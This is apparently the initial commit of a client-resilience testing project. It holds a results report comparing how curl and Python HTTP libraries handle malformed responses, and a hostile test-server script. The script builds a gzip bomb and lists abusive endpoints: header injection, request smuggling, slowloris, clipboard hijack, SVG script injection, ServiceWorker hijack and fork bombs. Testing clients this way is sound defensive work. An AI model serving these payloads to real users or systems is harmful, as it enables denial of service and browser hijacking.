Initial commit

This commit is contained in:
2026-02-13 23:50:20 -05:00
commit 8ab50b61d8
6 changed files with 5170 additions and 0 deletions

516
RESULTS.md Normal file
View File

@@ -0,0 +1,516 @@
# malserv Test Results
Tested against `badtests.py` on port 60666 using **curl 8.5.0**, **urllib.request**, **http.client**, **requests**, and **aiohttp**.
Legend: ✅ = accepted/worked | ❌ = rejected/error | ⚠️ = accepted but weird behavior
---
## 🚨 Critical: Header Injection via CRLF
**Endpoint:** `/ct-crlf`
A `Content-Type` header with embedded `\r\n` injects a fake `X-Injected: true` header. **Every single client accepts it as a real header.**
```
curl -sv http://127.0.0.1:60666/ct-crlf
```
```
< Content-Type: text/html
< X-Injected: true
```
**Python (all 4 libraries):**
```python
# urllib, http.client, requests, aiohttp all show:
Headers: {'Content-Type': 'text/html', 'X-Injected': 'true'}
```
**Impact:** Full header injection. An attacker controlling header values can inject arbitrary headers into responses. This enables cache poisoning, XSS via injected headers, session fixation, etc.
---
## 🚨 Critical: HTTP Request Smuggling via Duplicate Content-Length
**Endpoint:** `/hdr-dup-cl`
Server sends two `Content-Length` headers: `5` and `999`. Different clients pick different values.
```
curl -sv http://127.0.0.1:60666/hdr-dup-cl
```
```
< Content-Length: 5
< Content-Length: 999
* transfer closed with 994 bytes remaining to read
hello
```
curl uses the **second** CL (999), reads 5 bytes, then reports 994 remaining.
```python
# urllib.request — uses FIRST Content-Length (5), returns body fine
Headers: {'Content-Length': '5'}
Body: b'hello'
# http.client — exposes BOTH headers
Headers: [('Content-Length', '5'), ('Content-Length', '999')]
Body: b'hello'
# requests — REJECTS
ERROR: InvalidHeader: Content-Length contained multiple unmatching values (5, 999)
# aiohttp — REJECTS
ERROR: Duplicate Content-Length
```
**Impact:** Classic request smuggling vector. A proxy using the first CL and a backend using the second will desync, allowing request smuggling attacks.
---
## 🚨 Critical: Content-Length + Transfer-Encoding (Smuggling)
**Endpoint:** `/te-double`
Server sends both `Content-Length: 5` and `Transfer-Encoding: chunked`.
```
curl -sv http://127.0.0.1:60666/te-double
```
```
< Content-Length: 5
< Transfer-Encoding: chunked
hello
```
curl reads body via CL, ignores the chunked TE.
```python
# urllib/http.client/requests — all accept both headers, read body fine
Headers: {'Content-Length': '5', 'Transfer-Encoding': 'chunked'}
Body: b'hello'
# aiohttp — REJECTS (correct per RFC 7230)
ERROR: Transfer-Encoding can't be present with Content-Length
```
**Impact:** The exact CL+TE desync that enables HTTP request smuggling. Only aiohttp correctly rejects this.
---
## ⚠️ High: Python stdlib Accepts ANY Content-Length Value
**Endpoints:** `/cl-word`, `/cl-empty`, `/cl-negative`, `/cl-float`, `/cl-hex`, `/cl-null`, `/cl-nan`, `/cl-inf`, `/cl-negative-one`
Python's `urllib.request`, `http.client`, and `requests` accept literally ANY value for Content-Length — words, negative numbers, floats, hex, NaN, Infinity, null bytes. They just store the raw string and read the body from the connection close.
| Endpoint | curl | urllib/http.client/requests | aiohttp |
|----------|------|----------------------------|---------|
| `/cl-word` (banana) | ❌ Invalid CL value | ✅ Status 200, body b'hello' | ❌ 400 |
| `/cl-empty` ("") | ❌ Invalid CL value | ✅ Status 200, body b'hello' | ❌ 400 |
| `/cl-negative` (-99999999999999999) | ❌ Invalid CL value | ✅ Status 200, body b'hello' | ❌ 400 |
| `/cl-float` (3.14159) | ⚠️ Reads 3 bytes "hel" | ✅ Status 200, body b'hello' | ❌ 400 |
| `/cl-hex` (0xDEAD) | ⚠️ Accepts header, empty body | ✅ Status 200, body b'hello' | ❌ 400 |
| `/cl-null` (5\x00) | ❌ Nul byte in header | ✅ Status 200, body b'hello' | ❌ 400 |
| `/cl-nan` (NaN) | ❌ Invalid CL value | ✅ Status 200, body b'hello' | ❌ 400 |
| `/cl-inf` (Infinity) | ❌ Invalid CL value | ✅ Status 200, body b'hello' | ❌ 400 |
| `/cl-negative-one` (-1) | ❌ Invalid CL value | ✅ Status 200, body b'hello' | ❌ 400 |
**curl is interesting with `/cl-float`:**
```
curl -sv http://127.0.0.1:60666/cl-float
```
```
< Content-Length: 3.14159
hel
```
curl truncates the float to integer 3 and reads exactly 3 bytes.
**Impact:** Python stdlib libraries never validate Content-Length. If your code trusts `Content-Length` to be a valid integer, you'll crash or behave unexpectedly. aiohttp is the only Python lib that validates.
---
## ⚠️ High: Content-Length Mismatch Silently Truncates
**Endpoint:** `/cl-mismatch` — CL says 1, body is 30 bytes ("this is way more than one byte")
```
curl -sv http://127.0.0.1:60666/cl-mismatch
```
```
< Content-Length: 1
* transfer closed with ... bytes remaining
t
```
```python
# urllib/http.client/requests — all return only 1 byte
Body: b't'
# aiohttp — REJECTS
ERROR: Data after `Connection: close`
```
**Impact:** Data truncation. If a server misconfigures CL, most clients silently drop the rest of the body. Only aiohttp flags this.
---
## ⚠️ High: Null Bytes Accepted in Headers by Python stdlib
**Endpoints:** `/ct-null`, `/cl-null`, `/hdr-null`
```
curl -sv http://127.0.0.1:60666/ct-null
```
```
* Nul byte in header
* Closing connection
```
curl correctly rejects null bytes in headers.
```python
# urllib/http.client/requests — ACCEPT null bytes
Headers: {'Content-Type': 'text/\x00html'}
Body: b'hello'
# aiohttp on /ct-null — also ACCEPTS
Headers: {'Content-Type': 'text/\x00html'}
```
**Impact:** Null byte injection in headers. Can bypass security filters that use C-style string comparison (null terminates the string early).
---
## ⚠️ High: 1000 Headers — curl and aiohttp Accept, stdlib Rejects
**Endpoint:** `/hdr-1000`
```
curl -sv http://127.0.0.1:60666/hdr-1000
```
```
< X-H0: 0
< X-H1: 1
... (all 1000 accepted)
hello
```
curl accepts all 1000 headers with no limit.
```python
# urllib/http.client/requests — REJECT
ERROR: HTTPException: got more than 100 headers
# aiohttp — ACCEPTS all 1000
Status: 200
Body: b'hello'
```
**Impact:** Python stdlib has a 100-header limit (good defense against slow header attacks). curl and aiohttp don't enforce any limit, making them vulnerable to memory exhaustion via header flooding.
---
## ⚠️ High: Gzip Bomb Behavior
**Endpoint:** `/net-gzip-bomb` — 9.7KB compressed → 10MB decompressed
```
curl -sv -o /dev/null http://127.0.0.1:60666/net-gzip-bomb
```
```
< Content-Encoding: gzip
< Content-Length: 9750
{ [9750 bytes data]
```
curl downloads 9750 raw bytes (doesn't auto-decompress without `--compressed`).
```python
# urllib/http.client/requests — get raw gzip bytes (no auto-decompress)
Body: b'\x1f\x8b\x08\x00...' (9750 raw bytes)
# aiohttp — AUTO-DECOMPRESSES! Returns null bytes
Body: b'\x00\x00\x00\x00\x00...' (8192 bytes of zeros, capped by our read limit)
```
**Impact:** aiohttp auto-decompresses gzip, so a 9.7KB download becomes 10MB in memory. Without read limits, this would be a denial-of-service via memory exhaustion.
---
## ⚠️ High: False Content-Encoding Accepted by Most
**Endpoint:** `/enc-gzip-lie` — says `Content-Encoding: gzip` but body is plaintext
```
curl -sv http://127.0.0.1:60666/enc-gzip-lie
```
```
< Content-Encoding: gzip
this is definitely not gzipped
```
curl delivers the plaintext body despite the gzip header.
```python
# urllib/http.client/requests — accept, return plaintext
Body: b'this is definitely not gzipped'
# aiohttp — REJECTS
ERROR: Can not decode content-encoding: gzip
```
**Impact:** Most clients ignore the Content-Encoding mismatch. If your app trusts the header to decompress, it'll crash. Only aiohttp validates.
---
## ⚠️ Medium: Invalid Status Codes
**Endpoints:** `/status-neg`, `/status-zero`, `/status-999`, `/status-huge`, `/status-word`
| Endpoint | curl | urllib | http.client | requests | aiohttp |
|----------|------|--------|-------------|----------|---------|
| `/status-neg` (-1) | ❌ Unsupported subversion | ❌ BadStatusLine | ❌ BadStatusLine | ❌ ConnectionError | ❌ 400 |
| `/status-zero` (0) | ❌ Unsupported subversion | ❌ BadStatusLine | ❌ BadStatusLine | ❌ ConnectionError | ❌ 400 |
| `/status-999` (999) | ✅ Shows "999" | ❌ HTTPError 999 | ✅ Status 999 | ✅ Status 999 | ✅ Status 999 |
| `/status-huge` (99999) | ❌ Unsupported subversion | ❌ BadStatusLine | ❌ BadStatusLine | ❌ ConnectionError | ❌ 400 |
| `/status-word` (BANANA) | ❌ Unsupported subversion | ❌ BadStatusLine | ❌ BadStatusLine | ❌ ConnectionError | ❌ 400 |
**Notable:** Status 999 is accepted by curl, http.client, requests, and aiohttp. Only urllib raises an error (treats any non-standard code ≥400 as an HTTPError). A 3-digit status code is technically valid per HTTP spec even if unregistered.
---
## ⚠️ Medium: Oversized Headers
**Endpoints:** `/hdr-mega-name` (64KB header name), `/hdr-mega-val` (1MB header value)
```python
# All Python libs on /hdr-mega-name:
# urllib/http.client/requests: LineTooLong: got more than 65536 bytes
# aiohttp: Got more than 8190 bytes (65542)
```
curl accepts the 64KB header name but silently closes on the 1MB value.
**Impact:** aiohttp has the strictest limit (8190 bytes per header line). Python stdlib allows up to 64KB. curl has no apparent limit for header names.
---
## ⚠️ Medium: Transfer-Encoding: banana Accepted by All
**Endpoint:** `/te-invalid`
```
curl -sv http://127.0.0.1:60666/te-invalid
```
```
< Transfer-Encoding: banana
hello
```
**Every client accepts `Transfer-Encoding: banana` without complaint.** They all fall back to reading until connection close.
**Impact:** No client validates the Transfer-Encoding value. A garbage TE value is silently ignored.
---
## ⚠️ Medium: Garbage Location URL Causes Different Failures
**Endpoint:** `/redir-garbage` — Location contains `\x00\xff://💀:99999/../../etc/passwd`
```
curl -sv http://127.0.0.1:60666/redir-garbage
```
```
* Nul byte in header
* Closing connection
```
```python
# urllib — follows redirect, gets 404 (tries to resolve the garbage URL)
ERROR: HTTPError: HTTP Error 404: Not Found
# http.client — returns raw 301 with the garbage Location
Headers: [('Location', '\x00ÿ://ð\x9f\x92\x80:99999/../../etc/passwd')]
# requests — CRASHES on the byte
ERROR: UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff
# aiohttp — accepts with surrogate escapes
Headers: {'Location': '\x00\udcff://💀:99999/../../etc/passwd'}
```
**Impact:** Potential SSRF. urllib actually tries to follow the redirect. requests crashes entirely. http.client exposes path traversal payload.
---
## ⚠️ Medium: Redirect Chain Handling
**Endpoint:** `/redir-chain` — infinite 302 chain with unique URLs
```
curl -sv -L --max-redirs 5 http://127.0.0.1:60666/redir-chain
```
```
< Location: /redir-chain?n=1
... (follows 5 hops)
* Maximum (5) redirects followed
```
```python
# urllib — detects infinite loop
ERROR: HTTP Error 302: The HTTP server returned a redirect error that would lead to an infinite loop.
# http.client — returns first 302 (doesn't follow)
Status: 302, Location: /redir-chain?n=1
# requests — returns first 302 (allow_redirects=False)
Status: 302
# aiohttp — returns first 302 (allow_redirects=False)
Status: 302
```
---
## ⚠️ Medium: Slowloris Timing
**Endpoints:** `/slow-headers` (1 byte per 0.5s), `/slow-body` (1 byte per second)
```
curl -sv --max-time 2 http://127.0.0.1:60666/slow-body
```
```
* Operation timed out after 2001 milliseconds with 2 out of 26 bytes received
ab
```
```python
# urllib/http.client/requests on /slow-body — WAIT THE FULL 26 SECONDS
Body: b'abcdefghijklmnopqrstuvwxyz'
# aiohttp — gets only 1 byte before timeout
Body: b'a'
# aiohttp on /slow-headers — times out completely
ERROR: TimeoutError
```
**Impact:** Python stdlib clients with no timeout will block for the full duration of a slowloris attack. urllib/http.client/requests all waited 26 seconds for the slow body. Only aiohttp's timeout saved it.
---
## ⚠️ Medium: Headers Without Colons / Empty Names
**Endpoint:** `/hdr-no-colon` — sends `BrokenHeaderNoColon` as a header line
```
curl -sv http://127.0.0.1:60666/hdr-no-colon
```
```
* Header without colon
* Closing connection
```
```python
# urllib/http.client/requests — accept, but headers dict is EMPTY
Headers: {}
Body: b'hello'
# aiohttp — REJECTS
ERROR: Invalid header token
```
**Endpoint:** `/hdr-empty-name` — sends `: empty_name`
```python
# urllib/http.client/requests — accept, but the empty-name header is silently dropped
# aiohttp — REJECTS: "Invalid header token"
```
---
## Low: Protocol Violations
| Endpoint | curl | Python libs |
|----------|------|-------------|
| `/proto-garbage` (random bytes) | ❌ HTTP/0.9 not allowed | ❌ BadStatusLine (all) |
| `/proto-empty` (0 bytes) | ❌ Empty reply | ❌ RemoteDisconnected (all) |
| `/proto-half` (HTTP/9.9) | ❌ Unsupported version | ❌ UnknownProtocol (all) |
| `/proto-no-headers` (no headers) | ✅ Accepts, reads body | ✅ All accept, body b'hello' |
| `/proto-just-newlines` (only CRLF) | ❌ HTTP/0.9 not allowed | ❌ BadStatusLine (all) |
**Notable:** `/proto-no-headers` — a response with just a status line and body (no headers at all) is accepted by every client. This means you can serve valid responses without any headers.
---
## Low: Encoding Mismatches
**Endpoint:** `/enc-utf16` — body is UTF-16LE, header says `charset=utf-8`
All clients return the raw bytes without detecting the mismatch. No client validates that the body matches the declared charset.
**Endpoint:** `/html-utf16` — full HTML page encoded as UTF-16LE with no charset declaration
```
curl -sv http://127.0.0.1:60666/html-utf16
```
```
< h t m l > < h e a d > < t i t l e > U T F - 1 6 L E ...
```
All clients return the raw UTF-16LE bytes. curl shows the spaced-out text.
---
## Low: HTML Content Tests
These endpoints return valid HTTP with unusual HTML content. All clients accept them since the HTTP layer is valid:
| Endpoint | What it does | All clients |
|----------|-------------|-------------|
| `/html-long-title` | 1000-char `<title>` | ✅ Accepted |
| `/html-multiline-title` | Newlines in `<title>` | ✅ Accepted |
| `/html-irc-title` | `\r\nQUIT` in `<title>` | ✅ Accepted |
| `/html-unicode` | Random Unicode 0x1000-0x3000 | ✅ Accepted |
| `/html-meta-refresh` | `<meta refresh>` loop | ✅ Accepted (browser-only effect) |
| `/ansi-chaos` | ANSI escape codes | ✅ Accepted (terminal-only effect) |
---
## Summary: Client Strictness Ranking
**Most strict → Least strict:**
1. **aiohttp** — Validates Content-Length format, rejects null bytes in headers, enforces 8190-byte header limit, rejects duplicate CL, rejects CL+TE combo, validates gzip encoding, enforces timeouts. **Best security posture.**
2. **curl** — Rejects invalid CL values, null bytes, headers without colons. But accepts 1000 headers, emoji Content-Type, status 999, and the CL+TE combo. Interesting float-to-int truncation on CL.
3. **requests** — Rejects duplicate Content-Length. But accepts everything else that urllib accepts. Crashes on `\xff` byte in Location header.
4. **urllib.request / http.client** — Accept almost everything. No CL validation, no null byte rejection, no header count limit enforcement (100 limit exists but only in stdlib). Blindly trusts whatever the server sends. **Worst security posture.**
---
## Summary Table
| Test | curl | urllib | http.client | requests | aiohttp |
|------|------|--------|-------------|----------|---------|
| CL: banana | ❌ | ✅ | ✅ | ✅ | ❌ |
| CL: -1 | ❌ | ✅ | ✅ | ✅ | ❌ |
| CL: 3.14159 | ⚠️ 3 bytes | ✅ | ✅ | ✅ | ❌ |
| CL: 0xDEAD | ⚠️ empty | ✅ | ✅ | ✅ | ❌ |
| CL: mismatch | ⚠️ truncate | ⚠️ truncate | ⚠️ truncate | ⚠️ truncate | ❌ |
| CL: null byte | ❌ | ✅ | ✅ | ✅ | ❌ |
| CT: CRLF inject | ✅ injected | ✅ injected | ✅ injected | ✅ injected | ✅ injected |
| CT: emoji | ✅ | ✅ | ✅ | ✅ | ✅ |
| CT: 10KB | ✅ | ✅ | ✅ | ✅ | ❌ >8190 |
| Status: -1 | ❌ | ❌ | ❌ | ❌ | ❌ |
| Status: 999 | ✅ | ❌ HTTPError | ✅ | ✅ | ✅ |
| 64KB header name | ✅ | ❌ >65536 | ❌ >65536 | ❌ >65536 | ❌ >8190 |
| 1000 headers | ✅ | ❌ >100 | ❌ >100 | ❌ >100 | ✅ |
| Dup Content-Length | ⚠️ uses 2nd | ⚠️ uses 1st | ⚠️ both | ❌ | ❌ |
| CL + TE (smuggle) | ⚠️ uses CL | ✅ both | ✅ both | ✅ both | ❌ |
| TE: banana | ✅ | ✅ | ✅ | ✅ | ✅ |
| Bad chunk size | ❌ | ❌ | ❌ | ❌ | ❌ |
| No headers | ✅ | ✅ | ✅ | ✅ | ✅ |
| Null in header | ❌ | ✅ | ✅ | ✅ | ❌ |
| Header no colon | ❌ | ✅ empty | ✅ empty | ✅ empty | ❌ |
| Gzip lie | ✅ raw | ✅ raw | ✅ raw | ✅ raw | ❌ decode fail |
| Gzip bomb | ✅ raw | ✅ raw | ✅ raw | ✅ raw | ⚠️ decompresses |
| Slowloris body | ⚠️ 2s timeout | ⚠️ 26s wait | ⚠️ 26s wait | ⚠️ 26s wait | ⚠️ 1 byte |
| Garbage Location | ❌ null byte | ⚠️ follows | ✅ raw | ❌ crash | ✅ surrogates |

796
badtests.py Normal file
View File

@@ -0,0 +1,796 @@
#!/usr/bin/env python3
'''badtests - malicious HTTP response server with a web UI for testing client resilience'''
import http.server, socketserver, random, string, html, time, gzip, io, json, threading
PORT = 60666
# --- Pre-generated payloads ---
_gzbuf = io.BytesIO()
with gzip.GzipFile(fileobj=_gzbuf, mode='wb', compresslevel=9) as _gzf:
_gzf.write(b'\x00' * 10_000_000)
GZIP_BOMB = _gzbuf.getvalue()
SAFE_SVG = b'<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"><rect width="200" height="100" fill="#22c55e" rx="8"/><text x="100" y="60" fill="white" font-size="32" font-family="monospace" text-anchor="middle">SAFE</text></svg>'
EVIL_SVG = b'<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"><rect width="200" height="100" fill="#ef4444" rx="8"/><text x="100" y="60" fill="white" font-size="28" font-family="monospace" text-anchor="middle">HACKED</text></svg>'
VISITOR_LOG = []
LOG_LOCK = threading.Lock()
TESTS = [
# (path, title, description)
# --- Content-Length Abuses ---
('/cl-word', 'Content-Length: banana', 'Content-Length set to a word. Python accepts it, curl rejects.'),
('/cl-empty', 'Content-Length: (empty)', 'Empty Content-Length header. Python accepts, curl rejects.'),
('/cl-negative', 'Content-Length: -99999999999999999', 'Massive negative Content-Length. Python accepts, curl rejects.'),
('/cl-huge', 'Content-Length: 99999999999999999', 'Claims ~100 petabytes. Both accept. curl reports remaining bytes.'),
('/cl-zero', 'Content-Length: 0 (body sent)', 'CL is 0 but server sends "surprise!". Both read 0 bytes. Wire shows body was sent.'),
('/cl-float', 'Content-Length: 3.14159', 'Float CL. curl truncates to 3 (returns "hel"). Python ignores it, returns all 5 bytes.'),
('/cl-hex', 'Content-Length: 0xDEAD', 'Hex CL. curl treats as 0 (empty body). Python ignores it, returns all 5 bytes.'),
('/cl-null', 'Content-Length: 5\\x00', 'Null byte after digit. curl rejects (Nul byte in header). Python accepts silently.'),
('/cl-negative-one', 'Content-Length: -1', 'Simple negative CL. curl rejects, Python accepts.'),
('/cl-nan', 'Content-Length: NaN', 'NaN as CL. curl rejects, Python accepts.'),
('/cl-inf', 'Content-Length: Infinity', 'Infinity as CL. curl rejects, Python accepts.'),
('/cl-mismatch', 'Content-Length: 1 (body is 30 bytes)', 'CL says 1, body is 30 bytes. Both read exactly 1 byte. Extra data poisons keep-alive.'),
# --- Content-Type Abuses ---
('/ct-garbage', 'Content-Type: 200 random chars', 'Random printable chars with \\n \\r \\t. Accidental CRLF injection. Different every time.'),
('/ct-multi', 'Content-Type: 5 MIME types', 'Comma-separated MIME types. Both accept. RFC says only one allowed.'),
('/ct-empty', 'Content-Type: (empty)', 'Empty Content-Type. Both accept without complaint.'),
('/ct-null', 'Content-Type: text/\\x00html', 'Null byte in MIME type. curl rejects, Python accepts with null present.'),
('/ct-emoji', 'Content-Type: 💀/🔥', 'Emoji MIME type. Both accept. Violates HTTP/1.1 ASCII requirement.'),
('/ct-mega', 'Content-Type: 10KB long', '10,000 A characters. Both accept. No header length limit enforced.'),
('/ct-crlf', 'Content-Type with CRLF injection', '🚨 CRITICAL: Injects X-Injected: true header via CRLF in Content-Type value. Works on BOTH.'),
('/ct-semicolon', 'Content-Type with 50 charset params', '50 repeated ;charset=utf-8 params. Both accept. Parser could waste cycles.'),
# --- Status Code Abuses ---
('/status-neg', 'Status: -1', 'Negative status code. Both reject.'),
('/status-zero', 'Status: 0', 'Zero status code. Both reject.'),
('/status-999', 'Status: 999', 'Out-of-range 3-digit status. Both accept. RFC defines 100-599 only.'),
('/status-huge', 'Status: 99999', '5-digit status code. Both reject.'),
('/status-word', 'Status: BANANA', 'Non-numeric status. Both reject.'),
# --- Header Abuses ---
('/hdr-mega-name', 'Header name: 64KB of As', 'curl accepts (no limit). Python rejects (LineTooLong >65536 bytes).'),
('/hdr-mega-val', 'Header value: 1MB of Bs', 'Both reject. Python hits 64KB line limit. curl chokes on 1MB buffer.'),
('/hdr-1000', '1000 headers', 'curl accepts all 1000. Python rejects (>100 headers).'),
('/hdr-empty-name', 'Header: : empty_name', 'Empty header name. Both accept. Violates RFC 7230.'),
('/hdr-no-colon', 'Header without colon', 'curl rejects. Python silently drops the malformed line and continues.'),
('/hdr-dup-cl', 'Duplicate Content-Length: 5 and 999', '🚨 CRITICAL: Smuggling vector. curl uses second CL (999). Python sees both.'),
('/hdr-null', 'Header with null bytes', 'curl rejects (Nul byte in header). Python accepts, drops the null header.'),
('/hdr-newline', 'Header with bare \\n', 'curl rejects (Header without colon). Python treats as line folding.'),
# --- Body Abuses ---
('/body-endless', 'Infinite body stream', '⚠️ WARNING: Streams 1KB/sec forever. Use --max-time. Neither client protects against this.'),
('/body-none', 'Content-Length: 5, no body', 'Promises 5 bytes, sends 0. curl reports transfer closed. Python returns empty, no error.'),
('/body-binary', '4KB binary as text/html', 'Random binary with text/html Content-Type. Both accept. No content validation.'),
# --- Transfer-Encoding Abuses ---
('/te-invalid', 'Transfer-Encoding: banana', 'Unknown TE. Both accept and ignore it. RFC says this should be an error.'),
('/te-double', 'Content-Length + Transfer-Encoding', '🚨 CRITICAL: Smuggling vector. curl prefers CL, Python prefers TE. Clients disagree.'),
('/te-bad-chunk', 'Chunked with ZZZ chunk size', 'Invalid hex in chunk size. Both correctly reject.'),
# --- Protocol Abuses ---
('/proto-garbage', '512 random bytes (no HTTP)', 'Pure garbage. Both reject.'),
('/proto-empty', 'Empty response (0 bytes)', 'Server closes immediately. Both reject.'),
('/proto-half', 'HTTP/9.9 version', 'Unknown HTTP version. Both reject.'),
('/proto-no-headers', 'Status line + body, no headers', 'Zero headers. Both accept. Valid in HTTP/1.0 but violates HTTP/1.1.'),
('/proto-just-newlines', 'Response is just \\r\\n\\r\\n\\r\\n', 'Only blank CRLF lines. Both reject.'),
# --- Encoding Abuses ---
('/enc-utf16', 'Body is UTF-16, header says UTF-8', 'Mismatched encoding. Both accept raw bytes. Consuming app would decode garbage.'),
('/enc-gzip-lie', 'Content-Encoding: gzip (plaintext body)', 'Claims gzip, sends plaintext. Both accept without decompressing by default.'),
# --- Redirect Abuses ---
('/redir-self', '301 → /redir-self (loop)', 'Infinite redirect loop. curl follows up to --max-redirs. Python http.client does not follow.'),
('/redir-garbage', '301 → \\x00\\xff://💀:99999/../../etc/passwd', 'Garbage URL with null bytes, emoji, bad port, path traversal. curl rejects, Python accepts (SSRF risk).'),
('/redir-chain', '302 → /redir-chain?n=N+1 (infinite unique chain)', 'Infinite redirect with unique URLs each hop. Defeats redirect loop detection. curl follows --max-redirs (default 50).'),
# --- Timing Abuses ---
('/slow-headers', 'Slowloris: 1 byte per 0.5s headers', '⚠️ WARNING: Hangs until timeout. Classic slowloris attack.'),
('/slow-body', 'Body: 1 byte per second (a-z)', '⚠️ WARNING: Takes 26 seconds without timeout.'),
# --- HTML/Content Abuses ---
('/html-utf16', 'Full HTML page encoded as UTF-16LE', 'Title and body encoded as UTF-16LE but served as text/html with no charset. Browser/parser gets mojibake.'),
('/html-long-title', 'HTML title is 1000 characters', 'Absurdly long &lt;title&gt; tag (1000 A chars). Tests tab/title bar handling in browsers and parsers.'),
('/html-multiline-title', 'HTML title with embedded newlines', 'Title contains literal \\n characters. Some parsers collapse whitespace, others preserve. Tab bars get weird.'),
('/html-irc-title', 'Title with \\r\\nQUIT :reason injection', '🚨 CRITICAL: IRC protocol injection via HTML title. If an IRC bot fetches and relays this title, the QUIT/PRIVMSG could be injected into the IRC stream.'),
('/html-unicode', 'Random unicode (U+1000 to U+3000) title and body', 'Title and body filled with random Myanmar, Ethiopic, Devanagari, CJK chars. Different every request.'),
('/html-meta-refresh', 'Meta refresh loop (0 second)', '⚠️ WARNING: Page reloads itself every 0 seconds via meta tag. Infinite reload loop. Browser tab goes crazy.'),
# --- Terminal Abuses ---
('/ansi-chaos', 'ANSI escape code nightmare', '⚠️ WARNING: Clears screen, hides cursor, changes window title, blink text, random cursor positioning. Will wreck your terminal.'),
# --- JavaScript Browser Abuses ---
('/js-alert', 'Infinite alert() loop', '⚠️ WARNING: Opens alert dialogs in an infinite loop. Browser tab becomes unresponsive. Must force-kill tab.'),
('/js-history', 'History flood (50,000 entries)', '⚠️ WARNING: Pushes 50,000 entries to browser history. Back button becomes useless. Browser may lag.'),
('/js-download', 'Download bomb (200 files)', '⚠️ WARNING: Triggers 200 simultaneous file downloads via Blob URLs. Browser download manager explodes.'),
('/js-clipboard', 'Clipboard hijack', '🚨 CRITICAL: Silently replaces clipboard content with a malicious shell command every 100ms. Paste at your own risk.'),
('/js-forkbomb', 'JavaScript fork bomb', '⚠️ WARNING: Spawns infinite Web Workers and recursive iframes. CPU/RAM will spike. Browser may crash.'),
('/js-webgl', 'WebGL GPU killer', '⚠️ WARNING: Runs an extremely heavy fragment shader in a tight render loop. GPU usage spikes to 100%. May freeze display.'),
('/js-audio', 'Audio oscillator hell', '⚠️ WARNING: Creates 20 oscillators at random frequencies changing 10x per second at max volume. Extremely loud.'),
('/js-popup', 'Popup storm (100 windows)', '⚠️ WARNING: Attempts to open 100 popup windows at random positions. Most browsers block after the first.'),
('/js-cookie', 'Cookie bomb (3000 cookies)', '🚨 CRITICAL: Sets 3000 cookies. Future requests to this server include ~12MB of Cookie headers. May DoS the server.'),
('/js-beforeunload', 'Unescapable page (beforeunload)', '⚠️ WARNING: Traps you with a beforeunload dialog every time you try to leave. Also opens itself in new tabs.'),
('/js-serviceworker', 'ServiceWorker hijack', '🚨 CRITICAL: Registers a ServiceWorker that intercepts ALL future requests to this origin and injects content.'),
# --- Image/File Abuses ---
('/img-bait', 'Image bait-and-switch', 'Shows a green "SAFE" image on the page. Download link gives you a red "HACKED" image. Same server, different file.'),
('/img-svg-xss', 'SVG with embedded JavaScript', '🚨 CRITICAL: Serves an SVG image with an embedded <script> tag. If rendered as image/svg+xml, JS executes. XSS via image file.'),
('/img-polyglot', 'GIF/JS polyglot file', '🚨 CRITICAL: Valid GIF89a image that is also valid JavaScript. Can be loaded as both <img> and <script>.'),
# --- Network Abuses ---
('/net-gzip-bomb', 'Gzip bomb (~10KB → 10MB)', '⚠️ WARNING: ~10KB gzip response that decompresses to 10MB of zeros. Clients with auto-decompress will allocate 10MB.'),
('/net-event-flood', 'SSE event flood (infinite)', '⚠️ WARNING: Server-Sent Events stream that fires events as fast as possible forever. EventSource will buffer infinitely.'),
('/net-mime-sniff', 'MIME type confusion (JS as image/jpeg)', '🚨 CRITICAL: Serves JavaScript code with Content-Type: image/jpeg. If browser MIME-sniffs, the JS executes. Tests X-Content-Type-Options enforcement.'),
('/net-cache-poison', 'Contradicting cache headers', 'Every cache header contradicts every other: no-cache + max-age=999999, public + private, future Last-Modified, wildcard Vary.'),
('/net-hsts-bomb', 'HSTS with insane max-age', '🚨 CRITICAL: Sets Strict-Transport-Security with max-age=999999999 and includeSubDomains. Browser will force HTTPS for 31 years.'),
# --- Miscellaneous ---
('/misc-ipv4', 'Shows your connecting IPv4 address', 'Reflects the client IP from the TCP connection. Use -4 flag with curl to force IPv4.'),
('/misc-ipv6', 'Shows your connecting IPv6 address', 'Reflects the client IP. Server must be reachable over IPv6. Connect to [::1] for loopback IPv6.'),
('/fingerprint', 'Browser fingerprinting demo', 'Collects and displays 25+ browser fingerprinting vectors: canvas, WebGL, fonts, timezone, CPU, memory, touch, audio, etc.'),
]
CATEGORIES = [
('Content-Length Abuses', '/cl-'),
('Content-Type Abuses', '/ct-'),
('Status Code Abuses', '/status-'),
('Header Abuses', '/hdr-'),
('Body Abuses', '/body-'),
('Transfer-Encoding Abuses', '/te-'),
('Protocol Abuses', '/proto-'),
('Encoding Abuses', '/enc-'),
('Redirect Abuses', '/redir-'),
('Timing Abuses', '/slow-'),
('HTML/Content Abuses', '/html-'),
('Terminal Abuses', '/ansi-'),
('JavaScript Browser Abuses','/js-'),
('Image/File Abuses', '/img-'),
('Network Abuses', '/net-'),
('Miscellaneous', '/misc-'),
('Special Pages', '/fingerprint'),
]
def build_index():
h = '''<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<title>☠ badtests — HTTP response abuse tester</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0d1117;color:#c9d1d9;font-family:'SF Mono',Consolas,'Liberation Mono',Menlo,monospace;font-size:14px;line-height:1.6;padding:20px 40px}
h1{color:#f85149;font-size:24px;margin-bottom:4px}
h1 span{font-size:14px;color:#484f58;font-weight:normal}
h2{color:#58a6ff;font-size:18px;margin:30px 0 12px;padding-bottom:6px;border-bottom:1px solid #21262d}
.desc{color:#8b949e;font-size:13px;margin-bottom:20px}
.card{background:#161b22;border:1px solid #30363d;border-radius:6px;padding:16px;margin-bottom:16px}
.card:hover{border-color:#58a6ff}
.card h3{margin:0 0 4px}
.card h3 a{color:#58a6ff;text-decoration:none}
.card h3 a:hover{text-decoration:underline}
.card .note{color:#8b949e;font-size:13px;margin-bottom:10px}
.critical .note{color:#f85149}
.label{display:inline-block;font-size:11px;padding:1px 6px;border-radius:10px;margin-left:8px;vertical-align:middle}
.label-crit{background:#f8514922;color:#f85149;border:1px solid #f85149}
.label-warn{background:#d2992222;color:#d29922;border:1px solid #d29922}
code{color:#e6edf3}
.special{margin:20px 0;padding:12px 16px;background:#161b22;border:1px solid #f85149;border-radius:6px}
.special a{color:#f85149;font-weight:bold;text-decoration:none}
.special a:hover{text-decoration:underline}
footer{margin-top:40px;padding-top:16px;border-top:1px solid #21262d;color:#484f58;font-size:12px}
</style>
</head><body>
